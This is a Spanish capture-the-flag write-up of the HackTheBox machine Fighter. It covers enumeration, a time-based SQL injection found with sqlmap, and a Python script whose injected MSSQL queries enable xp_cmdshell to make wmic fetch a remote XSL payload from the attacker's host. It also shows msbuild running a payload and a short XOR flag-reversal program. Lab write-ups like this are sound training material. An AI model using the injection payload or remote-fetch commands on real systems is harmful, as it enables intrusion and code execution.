· Manuel López Pérez · writeups · 3 min read
WriteUp - Fighter (HackTheBox)
Write-up de Fighter (HackTheBox): máquina Windows de nivel medio que explota SQLi time-based para extraer credenciales, obtiene RCE vía xp_cmdshell + msbuild NPS payload y escala a SYSTEM con Capcom.sys (CVE-2019-7253) + bypass de checks.

En este post haremos la máquina Fighter de HackTheBox. Es una maquina Windows bastante complicadilla pero muy intersante para aprender nuevas formas de sacar shell en windows. Esta es una máquina que hice con varios miembros de mi equipo de htb y sin ellos no habría sido posible este writeup Mi nick en HackTheBox es: manulqwerty Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de todos los puertos con nmap:
nmap -sC -sV 10.10.10.72
Solo tenemos el puerto 80 asi que vamos a echarle un ojo a la web.
Como leemos en el important announcement se esta desarrollando una web nueva, pero la antigua sigue funcionando, también tenemos el dominio streetfighterclub.htb vamos a buscar el antiguo portal. Tras varias pruebas encontramos el subdominio members.streetfighterclub.htb. Para que nos funcione debemos añadir al /etc/hosts:
10.10.10.72 members.streetfighterclub.htbFuzzeando encontramos: http://members.streetfighterclub.htb/old/login.asp 
Tras hacer fallarnos las credenciales típicas vamos a ver si hay sqli. Capturamos la petición con BurpSuite y usamos el Active Scan:
Tras el Active Scan detectamos una SQLi time-based en el parametro logintype. Al ser una time-based se tarda bastante en cada ejecución de sqlmap, os pongo por ejemplo cómo seria para obtener las bases de datos:
sqlmap -r request.txt --dbms=mssql --technique=B --level 5 --risk 3 -p logintype --dbs --threads=1 --time-sec=1 --batch --flush-sessionTras un buen rato sacando los datos de la base de datos, nos damos cuenta de que no hay nada que nos pueda servir para obtener RCE. Vamos a intentar sacar RCE a traves de la SQLi: https://www.tarlogic.com/blog/red-team-tales-0x01/
Explotacion
Después de horas intentando sacar rce por este método sin existo, dimos con la clave para bypassear el defender: starfighter_xsl del empire de Luis Vacas (que por cierto os recomiendo que lo useis, teneis modulos adicionales muy interesantes) Para esto vamos a hacernos un pequeño script de python que haga ejecute nuestro .xsl y obtener agente de empire:
from requests
import *
params = {"username":"admin","password":"admin","B1":"LogIn","logintype":"1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'xP_cmDshEll', 1;RECONFIGURE WITH OVERRIDE;drop table mojones;create table mojones (out varchar(8000));;insert into mojones (out) execute xp_CmdSheLl 'start wmic process get brief /format:"http://10.10.14.7:443/wojo.xsl"';EXEC sp_configure 'xP_cMdShelL', 0;RECONFIGURE WITH OVERRIDE;"}
resp = post("http://members.streetfighterclub.htb/old/verify.asp",data=params,allow_redirects=False,cookies={"ASPSESSIONIDCQQARTCC":"OJGJBAHDGMPKEHOFHCKLKDIG"})
Vamos a migrar el empire a metasploit: https://github.com/trustedsec/nps_payload (ejemplo de uso) 
cd C:\\Users\\sqlserv upload /tmp/msbuild_nps.xml msbuild_nps.xml C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe msbuild_nps.xml

edit reload
Ya somos System pero esto aun no ha acabado, nos queda un pequeño reto de ingeniera inversa:
Vamos a abrir los ficheros con IDA PRO
Vemos que si la funcion check() devuelve 1, nos dará el flag
La funcion check() ejecutara XOR con 9 cada caracter de la variable aFmFeholH Para reversear esto me hice un pequeño programa en C, aun que lo mas sencillo seria hacer patching
#include <stdio.h>
int main(int argc, char **argv) { char aFmFeholH[15] = "Fm`fEhOl}h"; int v1;
for (v1=0;v1<11;v1++) printf("%c",(*(int *) (aFmFeholH + v1) ^ 9)); puts(""); return 0; } 
OdioLaFeta

